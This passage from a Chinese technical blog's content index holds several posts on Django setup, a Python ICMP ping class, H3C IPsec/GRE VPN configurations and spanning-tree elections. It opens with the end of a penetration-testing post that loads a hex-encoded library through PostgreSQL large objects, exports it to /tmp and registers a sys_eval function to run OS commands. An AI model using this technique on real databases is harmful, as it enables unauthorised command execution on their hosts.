decode('181e20000000000000000000000000000000000000000000960b000000000000a60b000000000000b60b000000000000c60b000000000000d60b000000000000e60b000000000000f60b000000000000060c000000000000160c000000000000260c000000000000360c000000000000460c000000000000560c000000000000660c000000000000760c000000000000860c000000000000960c000000000000a60c000000000000b60c000000000000c60c000000000000d60c000000000000e60c000000000000f60c0000000000004743433a2028474e552920342e382e3520323031353036323320285265642048617420342e382e352d31362900002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000070000000200000000000000c801000000000000c80100000000000024000000000000000000000000000000040000000000000000000000000000001e000000f6ffff6f0200000000000000f001000000000000f0010000000000006c00000000000000030000000000000008000000000000000000000000000000280000000b000000020000000000000060020000000000006002000000000000f0030000000000000400000002000000080000000000000018000000000000003000000003000000020000000000000050060000000000005006000000000000aa0100000000000000000000000000000100000000000000000000000000000038000000ffffff6f0200000000000000fa07000000000000fa07000000000000540000000000000003000000000000000200000000000000020000000000000045000000feffff6f02000000000000005008000000000000500800000000000020000000000000000400000001000000080000000000000000000000000000005400000004000000020000000000000070080000000000007008000000000000c0000000000000000300000000000000080000000000000018000000000000005e000000040000004200000000000000300900000000000030090000000000002802000000000000030000000a0000000800000000000000180000000000000068000000010000000600000000000000580b000000000000580b0000000000001a0000000000000000000000000000000400000000000000000000000000000063000000010000000600000000000000800b000000000000800b00000000000080010000000000000000000000000000100000000000000010000000000000006e000000010000000600000000000000000d000000000000000d0000000000006c04000000000000000000000000000010000000000000000000000000000000740000000100000006000000000000006c110000000000006c1100000000000009000000000000000000000000000000040000000000000000000000000000007a000000010000000200000000000000801100000000000080110000000000004c0000000000000000000000000000001000000000000000000000000000000082000000010000000200000000000000cc11000000000000cc110000000000006c00000000000000000000000000000004000000000000000000000000000000900000000100000002000000000000003812000000000000381200000000000014020000000000000000000000000000080000000000000000000000000000009a0000000e0000000300000000000000f81d200000000000f81d0000000000000800000000000000000000000000000008000000000000000000000000000000a60000000f0000000300000000000000001e200000000000001e0000000000000800000000000000000000000000000008000000000000000000000000000000b2000000010000000300000000000000081e200000000000081e0000000000000800000000000000000000000000000008000000000000000000000000000000b7000000010000000300000000000000101e200000000000101e0000000000000800000000000000000000000000000008000000000000000000000000000000c4000000060000000300000000000000181e200000000000181e000000000000c001000000000000040000000000000008000000000000001000000000000000cd000000010000000300000000000000d81f200000000000d81f0000000000002800000000000000000000000000000008000000000000000800000000000000d200000001000000030000000000000000202000000000000020000000000000d000000000000000000000000000000008000000000000000800000000000000db000000080000000300000000000000d020200000000000d0200000000000000800000000000000000000000000000001000000000000000000000000000000e00000000100000030000000000000000000000000000000', 'hex'));insert into pg_largeobject values (9023, 5, decode('d0200000000000002d00000000000000000000000000000001000000000000000100000000000000010000000300000000000000000000000000000000000000fd20000000000000e900000000000000000000000000000001000000000000000000000000000000', 'hex'));SELECT lo_export(9023, '/tmp/testeval.so');执行命令:CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('id');drop function sys_eval; 0x04 参考资料http://www.91ri.org/6507.html http://static.hx99.net/static/drops/tips-6449.html http://www.voidcn.com/article/p-sunyuemo-nw.html https://www.jianshu.com/p/ba0297da2c2e http://www.postgres.cn/docs/9.4/catalog-pg-largeobject.html https://github.com/sqlmapproject/udfhack/","tags":[],"categories":[{"name":"渗透测试","slug":"渗透测试","permalink":"http://yoursite.com/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"}]},{"title":"virtualenv使用nginx+uwsgi部署django应用","date":"2017-10-17T13:18:48.000Z","path":"/编程记录/在virtualenv使用nginx+uwsgi部署django应用/","text":"virtualenv使用nginx+uwsgi部署django应用浅谈cgi、wsgi、uwsgi 与 uWSGIhttps://www.rapospectre.com/blog/31 基础安装http://www.projectsedu.com/2017/08/15/centos7-%E4%B8%8B%E9%80%9A%E8%BF%87nginx-uwsgi%E9%83%A8%E7%BD%B2django%E5%BA%94%E7%94%A8/ 解决虚拟环境下uwsgi路径问题ImportError: No module named django.core.wsgihttps://stackoverflow.com/questions/14194859/importerror-no-module-named-django-core-wsgi-for-uwsgi 使用: 12345import osprint '===== sys.path / PYTHONPATH ====='for k in sorted(os.environ.keys()): v = os.environ[k] print ('%-30s %s' % (k,v[:70])) 查看系统python环境(可以用来查看虚拟环境) 在centos下如果访问404/502不是配置文件问题就是目录权限问题配置文件记得看清楚/etc/nginx/conf.d/uc_nginx.conf的server目录权限给出nginx权限 重启uwsgi直接pkill -f uwsgi会自动重启进程","tags":[],"categories":[{"name":"编程记录","slug":"编程记录","permalink":"http://yoursite.com/categories/%E7%BC%96%E7%A8%8B%E8%AE%B0%E5%BD%95/"}]},{"title":"Django后台扩展之xadmin系统搭建和优化","date":"2017-07-18T08:18:48.000Z","path":"/编程记录/python Django后台扩展之xadmin系统搭建和优化/","text":"Django原生后台非常不友好,一般人的习惯是左右结构的系统,寻找了很久发现xadmin还是符合要求,搭建的时候要走一些坑 [0x01] Django后台扩展之xadmin系统搭建和优化Django-xadmin https://github.com/sshwsfc/xadmin 0x01 环境搭建 创建完成项目后在github下源码,最好使用pip install django-xadmin 因为这样会解决很多依赖问题可以安装完成之后再将源码放入项目文件夹内,在删除django-xadmin pip uninstall django-xadmin这样就会保留依赖包 首先要设置urls.py文件注释原来的admin用xadmin替换然后import xadmin并设置URL目录url(r’^xadmin/‘, xadmin.site.urls),在settings.py中的INSTALLED_APPS包含’xadmin’和 ‘crispy_forms’ 如果将xadmin包放入指定文件夹内需要在项目文件夹中的settings.py下设置sys.path.insert(0, os.path.join(BASE_DIR, “extra_apps”))这样项目就可以找到文件夹内所有app python manage.py runserver访问 http://127.0.0.1:8000/xadmin 成功: 0x02 xadmin字段优化和修改首先后台存在一个User APP 去继承系统内部的AbstractUser.在APP目录下新建adminx.py用于注册xadmin的后台管理表(增删改查) class GlobalSetting(object): # 设置系统左上角名字 site_title = ‘管理平台 v.1.0’ # 设置系统底部名字 site_footer = ‘版权所有’ #左侧导航收缩模式 menu_style = “accordion” 1234class UserDepartmentAdmin(object): list_display = ['department_name'] #设置导航栏图标 model_icon = \"fa fa-sitemap\" 123#注册到后台xadmin.site.register(views.CommAdminView, GlobalSetting)xadmin.site.register(views.BaseAdminView, BaseSetting) 如果是User继承系统则在xadmin->plugins->auth.py->class UserAdmin(object)修改因为继承的类在系统内已经被注册了其他APP需要自行注册 以下操作全在每个APP下面的adminx.py中的自定义类操作分析一些字段用法: #后台列表显示的字段 list_display = (‘username’,’real_name’, ‘email’, ‘mobile’, ‘department’, ‘is_staff’) #过滤器可过滤字段 list_filter = (‘username’, ‘real_name’, ‘email’, ‘mobile’, ‘is_staff’, ‘is_superuser’, ‘is_active’) #搜索栏可搜索字段 search_fields = (‘username’, ‘email’, ‘mobile’) #设置只读字段 readonly_fields = (‘vul_name’, ‘add_time’, ‘vul_grade’, ‘vul_url’, ‘vul_source’, ‘vul_type’, ‘vul_count’, ‘vul_control’, ‘vul_detail’, ‘vul_department’) #设置ajax方式在显示列表就可修改参数 list_editable = [‘vul_status’] #列表字段每页15个 list_per_page = 15 #列表可导出类型 list_export = (‘xls’, ‘xml’, ‘json’) #首要排序字段 ordering = (‘username’,) #在修改表单字段时排除一些字段比如User表中的姓和名字段 exclude = ('first_name', 'last_name') #在添加信息时可显示被添加的字段 fields = ('username', 'mobile', 'email', 'real_name', 'department')0x03 权限控制现在有如下需求:当我在登录一个部门权限(非管理员)我只能显示自己部门的漏洞,在adminx.py下判断当前用户是否为管理员如果不是管理员过滤当前用户的部门漏洞 123456def get_list_queryset(self): # self.user.id获取当前登陆用户的id # 判断权限,如果是超级管理员不进行过滤 if not self.user.is_superuser: return super(VulProfileAdmin, self).get_list_queryset().filter(vul_department=self.user.department_id) return super(VulProfileAdmin, self).get_list_queryset() def get_readonly_fields(self): """ 可以限制如果不是管理员则修改一些字段时会变成只读权限 """ if self.user.is_superuser: self.readonly_fields = [] return self.readonly_fields readonly_fields = ('vul_name', 'add_time', 'vul_grade', 'vul_url', 'vul_source', 'vul_type', 'vul_count', 'vul_control', 'vul_detail', 'vul_department' ) 0x05 美化操作因为后台TextField字段显示非常大在adminx.py中添加formfield_overrides 1234567修改后台textarea的宽高 formfield_overrides = { models.TextField: {'widget': Textarea( attrs={ 'style': 'width:50%', })}, }","tags":[],"categories":[{"name":"编程记录","slug":"编程记录","permalink":"http://yoursite.com/categories/%E7%BC%96%E7%A8%8B%E8%AE%B0%E5%BD%95/"}]},{"title":"Django编写后台系统之环境搭建","date":"2017-07-18T08:18:48.000Z","path":"/编程记录/python Django编写后台系统之环境搭建/","text":"Django开放源代码的Web应用框架,由Python语言编写,特性是大且全面 [0x00] Django编写后台系统之环境搭建我认为再构建django程序时对于数据库的理解特别重要,合理的设计表理解一对多,多对多表关系才能舒服的做出后台系统 Django学习资料: 1.8版本中文翻译文档 http://python.usyiyi.cn/translate/django_182/index.html 1.11版本英文原版https://docs.djangoproject.com/en/1.11/ python自强学堂(挺实用的)http://code.ziqiangxuetang.com/django/django-tutorial.html github Django资源大全(推荐)https://github.com/haiiiiiyun/awesome-django-cn 0x01 环境搭建由于django对于版本依赖非常受限制,所以推荐使用 编辑器:pycharm环境:virtualenvDjango==1.9.8django-xadmindjango-ckeditor百度echarts图表自行编写app都可以用pip安装 执行命令: 安装虚拟环境pip install virtualenvwapper-win 创建新环境makevirtualenv mkvirtualenv test 进入新环境workon test可用pip安装常规软件(vulmanage)pip list(vulmanage)pip install django==1.9.8(vulmanage)pip install django-ckeditor(vulmanage)pip install django-xadmin django常用命令 创建django项目(vulmanage)django-admin startproject vulmanage 创建django APP(vulmanage)django-admin startapp vulinfo 刷新数据库(vulmanage)python manage.py makemigrations(vulmanage)python manage.py migrate 创建超级管理员(vulmanage)python manage.py createsuperuser 待补充…","tags":[],"categories":[{"name":"编程记录","slug":"编程记录","permalink":"http://yoursite.com/categories/%E7%BC%96%E7%A8%8B%E8%AE%B0%E5%BD%95/"}]},{"title":"Django-ckeditor后台编辑器应用和绕坑","date":"2017-07-18T08:17:48.000Z","path":"/编程记录/Django-ckeditor后台编辑器应用和绕坑/","text":"在Django编辑器选择方面我推荐使用ckeditor [0x01] Django-ckeditor后台编辑器应用和绕坑 django-ckeditor, star:820 - Django 管理界面与 CKEditor 集成。 django-summernote, star:325 - Summernote 是一个简单的所见即所得编辑器。django-summernote 能将 Summernote 方便地嵌入到 Django 中。支持 mixins 和 widgets。 django-tinymce, star:615 - TinyMCE 与 Django 集成。 django-wysiwyg, star:440 - 一个 Django 应用,实现将 Django 文本框变成富文本编辑器。可用作模板标签,也可用于表单组件。 虽然百度django-ueditor还不错但是上传图片有漏洞具体可以参考以下文章:在图片上传的路径可以控制文件名导致任意上传和替换原有文件非常危险 http://blog.nsfocus.net/djangoueditor-file-upload-vulnerability-analysis/ 0x01 安装过程https://github.com/django-ckeditor/django-ckeditor/ 执行命令pip除了安装ckeditor她还会安装依赖比如 django-js_assert pip install django-ckeditor如果需要在项目里直接看到ckeditor的文件可以把github源码包中的ckeditor和ckeditor_uploader放入项目内 这里只介绍在后台添加表单时如何使用ckeditor 第一步:在项目中的urls.py文件中加入ckeditor的目录,添加一切外部扩展都必须能让他访问否则什么操作都是无效的 12from ckeditor_uploader import urls as ckeditor_uploader_urls url(r'^ckeditor/', include(ckeditor_uploader_urls)), 然后再settings中添加APP settings -> INSTALL_APPS 加入 ckeditor, ckeditor_uploader 第二步:再APP的后台models.py把原来TextField字段变成ckeditor的设置字段 12from ckeditor.fields import RichTextFieldfrom ckeditor_uploader.fields import RichTextUploadingField RichTextField字段没有上传按钮RichTextUploadingField存在上传按钮 设置字段 1vul_plan = RichTextUploadingField(verbose_name='漏洞复测及修复', config_name=\"vul\") 初步显示成功 0x02 定制化编辑器看到上面的config_name是用来定制化工具栏的可以设置显示哪些需要的工具和栏目的高宽等等非常方便具体设置在settings.py下设置具体可以看官方 123456789101112131415161718192021222324252627282930313233CKEDITOR_CONFIGS = { #字典内不同的键可以在字段内进行选择 \"vul_address\": { 'toolbar': 'Basic',# full,None设置工具栏复杂度 'height': 200, 'width': 550, }, \"vul\": { 'height': 300, 'width': 600, 'toolbar': 'Custom', 'toolbar_Custom': [ {'name': 'styles', 'items': ['Styles', 'Format', 'Font', 'FontSize']}, {'name': 'yourcustomtools', 'items': [ # put the name of your editor.ui.addButton here 'Preview', 'Maximize', ]}, '/', ['Bold', 'Italic', 'Underline'], {'name': 'colors', 'items': ['TextColor', 'BGColor']}, ['JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock'], {'name': 'tools', 'items': ['Maximize', 'ShowBlocks']}, {'name': 'insert', 'items': ['Image', 'Table']}, ['Link', 'Unlink'], ['RemoveFormat', 'Source'], ] }} 0x03 编辑器上传安全应用先设置urls.py必须让后台能访问到我上传的资源才行 1234from 自己的项目名.settings import MEDIA_ROOTfrom django.views.static import serve url(r'^media/(?P<path>.*)$', serve, {\"document_root\": MEDIA_ROOT}), 首先在settings.py下面设置 12345678910111213141516171819202122232425262728293031323334353637383940#设置静态文件存放目录STATIC_URL = '/static/'STATIC_ROOT = os.path.join(BASE_DIR, 'static')STATICFILES_DIRS = ( os.path.join(BASE_DIR, \"static\"),)#设置媒体文件目录MEDIA_URL = '/media/'MEDIA_ROOT = os.path.join(BASE_DIR, 'media')#上传方式CKEDITOR_IMAGE_BACKEND = \"pillow\"#上传到的目录CKEDITOR_UPLOAD_PATH = \"vul_images\"#只允许上传图片CKEDITOR_ALLOW_NONIMAGE_FILES = False#设置上传的文件名首先在 ckeditor 目录下utils.py文件def generate_uuid4_filename(filename): \"\"\" Generates a uuid4 (random) filename, keeping file extension :param filename: Filename passed in. In the general case, this will be provided by django-ckeditor's uploader. :return: Randomized filename in urn format. :rtype: str \"\"\" discard, ext = os.path.splitext(filename) basename = uuid.uuid4() return '{0}{1}'.format(basename, ext)然后再settings.py下设置GENERATOR来指向这个函数,之后上传的文件名会以UUID来命名.CKEDITOR_FILENAME_GENERATOR = 'ckeditor_uploader.utils.generate_uuid4_filename'","tags":[],"categories":[{"name":"编程记录","slug":"编程记录","permalink":"http://yoursite.com/categories/%E7%BC%96%E7%A8%8B%E8%AE%B0%E5%BD%95/"}]},{"title":"利用python发送icmp包详解(ping)","date":"2017-05-10T15:18:48.000Z","path":"/编程记录/利用python发送icmp包详解(ping)/","text":"利用python发送icmp包详解(ping)ps:个人理解如有错误请指导ICMP是(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。 通俗的讲就是Ping包,icmp网络层协议所以不存在端口的概念,协议号为1让上层知道.tcp,udp,ip都是采用校验和的算法,只是校验的数据所有变化.icmp会将头部和数据部分一起进行校验 维基百科关于icmp的详细解释:https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol] 这里关于校验和做了重要说明:Checksum Error checking data, calculated from the ICMP header and data, with value 0 substituted for this field. The Internet Checksum is used, specified in RFC 1071 RFC1071讲述详细的校验过程:https://tools.ietf.org/html/rfc10711的补码 = 反码求和 计算icmp的校验和必须包含header和data 要发送一次icmp就必须包含图中的必选信息: //定义ICMP头部unsigned char i_type; //8位类型unsigned char i_code; //8位代码unsigned short i_cksum; //16位校验和, 从TYPE开始,直到最后一位用户数据,如果为字节数为奇数则补充一位unsigned short i_id ; //识别号(一般用进程号作为识别号), 用于匹配ECHO和ECHO REPLY包short i_seq ; //报文序列号, 用于标记ECHO报文顺序 可置0unsigned int timestamp; //时间戳 选项数据部分 可以无 python格式化对照表 现在来讲一讲实现的主要思路: 想要发送ping包首先要构造出icmp的完整包,关键就是校验和的计算方法 1.首先icmp的校验和需要头部和数据部分相加再进行校验和的运算 2.头部和数据部分相加必须为偶数,奇数补0就不用关心他了,因为我们只想实现发包,算法不过多研究 3.利用struct格式化为网络字节(类型[b],代码[b],校验和[H],识别号[H],序列号[h])第一次校验时,校验和为0,识别号一直都是进程号(os.getpid()),这就是头部的8个字节,头部和数据相加需要为偶数字节,那数据最小可以是[h]struct.pack(‘bbHHh’,8,0,0,self.__id,0) 4.def __doCksum(self,packet)//校验和求法://把数据报看成16比特整数序列(按网络字节顺序)//对每个整数分别计算其二进制反码,然后相加//再对结果计算一次二进制反码而求得一般程序为了计算方便会先相加,再加上进位,最后进行取反 5.再把cksum值带入原有包struct.pack(‘bbHHh’,8,0,cksum,self.__id,0) 接下来需要用python实现发送一次icmp包的过程:1.需要用到socket库2.格式化数据的库struct,array3.生成进程id的库 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#coding=utf-8import osimport socketimport structimport arrayclass Pinger(object): def __init__(self,timeout=3): self.timeout = timeout self.__id = os.getpid() self.__data = struct.pack('h',1)#h代表2个字节与头部8个字节组成偶数可进行最短校验 @property def __icmpSocket(self):#返回一个可以利用的icmp原对象,当做属性使用 icmp = socket.getprotobyname(\"icmp\")#指定服务 sock = socket.socket(socket.AF_INET,socket.SOCK_RAW,icmp)#socket.SOCK_RAW原生包 return sock def __doCksum(self,packet):#校验和运算 words = array.array('h',packet)#将包分割成2个字节为一组的网络序列 sum = 0 for word in words: sum += (word & 0xffff)#每2个字节相加 sum = (sum >> 16) + (sum & 0xffff)#因为sum有可能溢出16位所以将最高位和低位sum相加重复二遍 sum += (sum >> 16) # 为什么这里的sum不需要再 & 0xffff 因为这里的sum已经是16位的不会溢出,可以手动测试超过65535的十进制数字就溢出了 return (~sum) & 0xffff #最后取反返回完成校验 @property def __icmpPacket(self):#icmp包的构造 header = struct.pack('bbHHh',8,0,0,self.__id,0) packet = header + self.__data cksum = self.__doCksum(packet) header = struct.pack('bbHHh',8,0,cksum,self.__id,0)#将校验带入原有包,这里才组成头部,数据部分只是用来做校验所以返回的时候需要返回头部和数据相加 return header + self.__data def sendPing(self,target_host): try: socket.gethostbyname(target_host) sock = self.__icmpSocket sock.settimeout(self.timeout) packet = self.__icmpPacket sock.sendto(packet,(target_host,1))#发送icmp包 ac_ip = sock.recvfrom(1024)[1][0] print '[+] %s active'%(ac_ip) except Exception,e: sock.close()s = Pinger()s.sendPing('192.168.1.103') wireshark抓包查看 requests: reply:","tags":[],"categories":[{"name":"编程记录","slug":"编程记录","permalink":"http://yoursite.com/categories/%E7%BC%96%E7%A8%8B%E8%AE%B0%E5%BD%95/"}]},{"title":"IPSEC VPN配置的多种方法","date":"2017-04-22T15:18:48.000Z","path":"/网络工程/IPSEC VPN配置的多种方法/","text":"使用的网络产品为H3C系列 IPSEC VPN配置的多种方法0x00 前言VPN一般有3种配置方法 名词介绍: GRE(Generic Routing Encapsulation,通用路由封装):是通用路由封装协议,可以对某些网络层协议的数据报进行封装,使这些被封装的数据报能够在IPv4网络中传输 IPsec(IP Security,IP安全):是IETF制定的三层隧道加密协议,它为互联网上传输的数据提供了高质量的、基于密码学的安全保证,是一种传统的实现三层VPN(Virtual Private Network,虚拟专用网络)的安全技术。IPsec通过在特定通信方之间(例如两个安全网关之间)建立“通道”,来保护通信方之间传输的用户数据,该通道通常称为IPsec隧道 IPsec SA (安全联盟):可以手工创建或动态建立。IKE(Internet Key Exchange,互联网密钥交换)协议用来动态建立IPsec SA。IKE并非IPsec专用,它利用ISAKMP(Internet Security Association and Key Management Protocol,互联网安全联盟和密钥管理协议)语言定义密钥交换的过程,是一种对安全服务进行协商的手段。 0x01 Ipsec vpn (ike自动协商) R1: ipsec transform-set H3C #定义ipsec加密方式 esp encryption-algorithm des-cbc esp authentication-algorithm sha1 # ipsec policy H3C 10 isakmp #定义ipsec 策略 isakmp自动协商 transform-set H3C security acl 3000 #指定流量用ACL抓取 remote-address 12.12.12.2 #对端公网Ip ike-profile H3C # ike profile H3C # ike提议 keychain H3C local-identity address 12.12.12.1 match remote identity address 12.12.12.2 255.255.255.255 # ike proposal 1 # ike提议 加密方式 encryption-algorithm 3des-cbc authentication-algorithm md5 # ike keychain H3C #ike钥匙链二端匹配 pre-shared-key address 12.12.12.2 255.255.255.255 key cipher $c$3$y0yAxWiAdTMK3fNb8Co7DUIxu409DY1j2Q== # acl advanced 3000 rule 0 permit ip source 9.9.9.1 0 destination 9.9.9.2 0 # int s 2/0 ipsec apply policy H3CR2: ipsec transform-set H3C #定义ipsec加密方式 esp encryption-algorithm des-cbc esp authentication-algorithm sha1 # ipsec policy H3C 10 isakmp #定义ipsec 策略 isakmp自动协商 transform-set H3C security acl 3000 #指定流量用ACL抓取 remote-address 12.12.12.1 #对端公网Ip ike-profile H3C # ike profile H3C # ike提议 keychain H3C local-identity address 12.12.12.2 match remote identity address 12.12.12.1 255.255.255.255 # ike proposal 1 # ike提议 加密方式 encryption-algorithm 3des-cbc authentication-algorithm md5 # ike keychain H3C #ike钥匙链二端匹配 pre-shared-key address 12.12.12.1 255.255.255.255 key cipher $c$3$y0yAxWiAdTMK3fNb8Co7DUIxu409DY1j2Q== # acl advanced 3000 rule 0 permit ip source 9.9.9.2 0 destination 9.9.9.1 0 # int s 2/0 ipsec apply policy H3C0x02 gre over ipsec需求的原因是:gre可以承载组播等非ip协议的流量 但是gre不可以加密,所以需要利用ipsec来进行对隧道的加密 用ipsec封装gre来承载组播等非IP流量应用在物理接口ACL抓公网2个对端的流量从tunnel的源地址和目标地址之间的所有流量都会经过ipsec进行加密 gre over ipsec 一开始流量走tunnel但是 源和目的是公网就会被ipsec匹配到进行加密后再传输 1.定义公网二端ACL(抓取tunnel源和目的)2.ipsec源目的地址是公网二端地址3.接口应用在公网接口上 R1: ipsec transform-set H3C esp encryption-algorithm des-cbc esp authentication-algorithm md5 # ipsec policy H3C 10 isakmp transform-set H3C security acl 3000 remote-address 12.12.12.2 ike-profile H3C # ike profile H3C keychain H3C local-identity address 12.12.12.1 match remote identity address 12.12.12.2 255.255.255.252 # ike keychain H3C pre-shared-key address 12.12.12.2 255.255.255.252 key cipher $c$3$30ReBVN2wyf5cOcToan6XoSf+yADB/fE5A== # ip route-static 0.0.0.0 0 12.12.12.2 ip route-static 9.9.9.2 32 Tunnel1 # acl advanced 3000 rule 0 permit ip source 12.12.12.1 0 destination 12.12.12.2 0 //抓取公网对端流量 因为tunnel的源和目的会匹配到的 # interface Tunnel1 mode gre ip address 10.1.1.1 255.255.255.252 source 12.12.12.1 destination 12.12.12.2 interface GigabitEthernet0/0 port link-mode route ip address 12.12.12.1 255.255.255.252 ipsec apply policy H3C # R2: ipsec transform-set H3C esp encryption-algorithm des-cbc esp authentication-algorithm md5 # ipsec policy H3C 10 isakmp transform-set H3C security acl 3000 remote-address 12.12.12.1 ike-profile H3C # ike profile H3C keychain H3C local-identity address 12.12.12.2 match remote identity address 12.12.12.1 255.255.255.252 # ike keychain H3C pre-shared-key address 12.12.12.1 255.255.255.252 key cipher $c$3$30ReBVN2wyf5cOcToan6XoSf+yADB/fE5A== # ip route-static 0.0.0.0 0 12.12.12.1 ip route-static 9.9.9.1 32 Tunnel1 # acl advanced 3000 rule 0 permit ip source 12.12.12.2 0 destination 12.12.12.1 0 //抓取公网对端流量 因为tunnel的源和目的会匹配到的 # interface Tunnel1 mode gre ip address 10.1.1.2 255.255.255.252 source 12.12.12.2 destination 12.12.12.1 interface GigabitEthernet0/0 port link-mode route ip address 12.12.12.2 255.255.255.252 ipsec apply policy H3C #0x03 Ipsec over gre需要场景:当开通GRE隧道但是只需要让指定流量加密就需要用ipsec over gre部分加密 在GRE隧道中封装IPSEC 加密指定流量数据包 但是其他数据不会加密ipsec应用在tunnel 接口抓取要加密的内网流量所有对端都以tunnel定义的2个地址来进行ike/ipsec协商 ipsec over gre是 gre为主通道 ipsec部分抓取流量加密ipsec的所有源和目的地址都是tunnel的地址 1.定义兴趣流量2.ipsec源目的地址是tunnel二端地址3.ipsec应用在tunnel接口 R1: interface LoopBack0 ip address 9.9.9.1 255.255.255.255 # interface GigabitEthernet0/0 port link-mode route ip address 12.12.12.1 255.255.255.252 # interface Tunnel1 mode gre ip address 13.13.13.1 255.255.255.0 source GigabitEthernet0/0 destination 12.12.12.2 ipsec apply policy H3C //应用在tunnel接口 ipsec transform-set H3C esp encryption-algorithm des-cbc esp authentication-algorithm md5 # ipsec policy H3C 10 isakmp transform-set H3C security acl 3000 remote-address 13.13.13.2 //tunnel对端地址 ike-profile H3C # ike profile H3C keychain H3C local-identity address 13.13.13.1 //tunnel本地地址 match remote identity address 13.13.13.2 255.255.255.0 # ike keychain H3C pre-shared-key address 13.13.13.2 255.255.255.0 key cipher $c$3$w+qQmJZ1ELXbjvqueE+UqXstxQhnilx47A== # acl advanced 3000 rule 0 permit ip source 9.9.9.1 0 destination 9.9.9.2 0 # R2: interface LoopBack0 ip address 9.9.9.2 255.255.255.255 # interface GigabitEthernet0/0 port link-mode route ip address 12.12.12.2 255.255.255.252 # interface Tunnel1 mode gre ip address 13.13.13.2 255.255.255.0 source GigabitEthernet0/0 destination 12.12.12.1 ipsec apply policy H3C //应用在tunnel接口 ipsec transform-set H3C esp encryption-algorithm des-cbc esp authentication-algorithm md5 # ipsec policy H3C 10 isakmp transform-set H3C security acl 3000 remote-address 13.13.13.1 //tunnel对端地址 ike-profile H3C # ike profile H3C keychain H3C local-identity address 13.13.13.2 //tunnel本地地址 match remote identity address 13.13.13.1 255.255.255.0 # ike keychain H3C pre-shared-key address 13.13.13.1 255.255.255.0 key cipher $c$3$w+qQmJZ1ELXbjvqueE+UqXstxQhnilx47A== # acl advanced 3000 rule 0 permit ip source 9.9.9.2 0 destination 9.9.9.1 0 #","tags":[],"categories":[{"name":"网络工程","slug":"网络工程","permalink":"http://yoursite.com/categories/%E7%BD%91%E7%BB%9C%E5%B7%A5%E7%A8%8B/"}]},{"title":"【spanning-tree】生成树实例","date":"2017-01-09T04:18:48.000Z","path":"/网络工程/spanning-tree-生成树实例/","text":"STP(IEEE802.1D生成树协议) 【spanning-tree】生成树实例STP(IEEE802.1D生成树协议)技术原理: 维护一个树状的网络拓扑,当交换机发现拓扑中有环时,就会逻辑的阻塞一个或更多冗余端口来实现无环拓扑,当网络拓扑发生变化时,运行STP的交换机会自动重新配置他的端口以避免环路产生或连接丢失。 STP算法分四个步骤: 步骤一:选举根网桥 判定对象:在所有运行STP协议的交换机上选举出一个唯一的根网桥。 判定条件:BPDU数据帧中网桥ID值最小的交换机将成为根网桥(BPDU数据帧中网桥ID有8个字节,它是由2个字节的网桥优先级和6个字节的背板MAC组成的,其中网桥优先级的取值范围是0-65535,缺省值是32768) —在进行网桥ID比较时,先比较网桥优先级,优先级值小的为根网桥;当优先级值相等时,再比较背板MAC地址,MAC地址小的为根网桥。 步骤二:选举跟端口 判定对象:在所有非根网桥交换机上的不同端口之间选举出一个到根网桥最近的端口作为跟端口。 判定条件: —1.端口到根网桥路径开销最小 —2.发送方网桥ID最小 —3.发送方端口ID最小(端口ID有16位,它是由8位端口优先级和8位端口编号组成的,其中端口优先级的取值范围是0-240,缺省值是128,可以修改,但必须是16的倍数) 步骤三:选举指定端口 判定对象:在每一个物理网段的不同端口之间选举出一个指定端口。 判定条件: —1.网桥到根网桥路径开销最小 —2.发送方网桥ID最小 —3.发送方端口ID最小 步骤四:阻塞其它端口,形成无环拓扑 请看STP算法一实例: 拓扑图 步骤一:选举根网桥 —比较四个交换机(SW1、SW2、SW3和SW4)的网桥ID,四个交换机的优先级都是32768,优先级相等,再比较背板MAC,显然SW1的背板MAC最小,所以SW1的网桥ID最小,SW1是根网桥。 步骤二:选举跟端口 —在SW2上 端口到根网桥路径开销:0/1=19<0/2=19+19,所以0/1号端口是SW2的根端口。 —在SW3上 端口到根网桥路径开销:0/3=19<0/2=19+19,所以0/3号端口是SW3的根端口。 —在SW4上 端口到根网桥路径开销:0/1=19<0/2=19+19,所以0/1号端口是SW4的根端口。 步骤三:选举指定端口 —在SW1-SW2的物理网段上 SW1上的0/1号端口的网桥到根网桥的路径开销是0,而SW2上的0/1号端口的网桥到根网桥的路径开销是19,所以在SW1-SW2的物理网段上,SW1上的0/1号端口是指定端口。 —在SW1—SW3的物理网段上 SW1上的0/3号端口的网桥到根网桥的路径开销是0,而SW3上的0/3号端口的网桥到根网桥的路径开销是19,所以SW1—SW3的物理网段上,SW1上的0/3号端口是指定端口。 —在SW1—SW4的物理网段上 SW1上的0/2号端口的网桥到根网桥的路径开销是0,而SW4上的0/1号端口的网桥到根网桥的路径开销是19,所以在SW1-SW4的物理网段上,SW1上的0/2号端口是指定端口。 —在SW2—SW3的物理网段上 SW2上的0/2号端口和SW3上的0/2号端口的网桥到根网桥的路径开销都是19,再比较两端口的发送方网桥ID,SW2上的0/2号端口的发送方网桥是32768.000d.280c.b300,而SW3上的0/2号端口的发送方网桥是32768.000d.280b.b200,所以在SW2-SW3的物理网段上,SW2上的0/2号端口是指定端口。 —在SW3—SW4的物理网段上 SW3上的0/1号端口和SW4上的0/2号端口的网桥到根网桥的路径开销都是19,再比较两端口的发送方网桥ID,SW3上的0/1号端口的发送方网桥是32768.000d.280d.b100,而SW4上的0/2号端口的发送方网桥是32768.000d.280c.b300,所以在SW3-SW4的物理网段上,SW3上的0/1号端口是指定端口。 